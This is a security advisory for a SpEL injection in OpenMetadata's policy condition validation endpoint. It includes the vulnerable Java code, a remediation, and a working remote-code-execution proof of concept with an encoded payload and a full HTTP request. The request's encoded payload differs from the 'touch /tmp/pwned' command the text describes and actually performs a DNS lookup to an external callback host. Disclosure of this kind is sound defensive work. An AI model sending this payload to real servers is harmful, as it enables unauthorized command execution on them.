GHSA-5xv3-fm7g-865r OpenMetadata vulnerable to a SpEL Injection in `GET /api/v1/policies/validation/condition/<expr>` (`GHSL-2023-236`)

• Maven org.open-metadata:openmetadata-service: < 1.2.4 → fixed in 1.2.4

SpEL Injection in `GET /api/v1/policies/validation/condition/` (`GHSL-2023-236`) *Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.* The `‎CompiledRule::validateExpression` method evaluates an SpEL expression using an `StandardEvaluationContext`, allowing the expression to reach and interact with Java classes such as `java.lang.Runtime`, leading to Remote Code Execution. The `/api/v1/policies/validation/condition/` endpoint passes user-controlled data `CompiledRule::validateExpession` allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system. Snippet from PolicyResource.java ```java @GET @Path("/validation/condition/{expression}") @Operation( operationId = "validateCondition", summary = "Validate a given condition", description = "Validate a given condition expression used in authoring rules.", responses = { @ApiResponse(responseCode = "204", description = "No value is returned"), @ApiResponse(responseCode = "400", description = "Invalid expression") }) public void validateCondition( @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Parameter(description = "Expression of validating rule", schema = @Schema(type = "string")) @PathParam("expression") String expression) { CompiledRule.validateExpression(expression, Boolean.class); } ``` ```java public static void validateExpression(String condition, Class clz) { if (condition == null) { return; } Expression expression = parseExpression(condition); RuleEvaluator ruleEvaluator = new RuleEvaluator(); StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator); try { expression.getValue(evaluationContext, clz); } catch (Exception exception) { // Remove unnecessary class details in the exception message String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", ""); throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message)); } } ``` In addition, there is a missing authorization check since `Authorizer.authorize()` is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution. This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query. Proof of concept • Prepare the payload • Encode `touch /tmp/pwned` in Base64 => `dG91Y2ggL3RtcC9wd25lZA==` • SpEL expression to run system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))` • Encode the payload using URL encoding: ``` %54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29 ``` • Send the payload using a valid JWT token: ```http GET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2 Host: sandbox.open-metadata.org Authorization: Bearer ``` • Verify that a file called `/tmp/pwned` was created in the OpenMetadata server Impact This issue may lead to Remote Code Execution by a registered and authenticated user. Remediation Use `SimpleEvaluationContext` to exclude *references to Java types, constructors, and bean references*.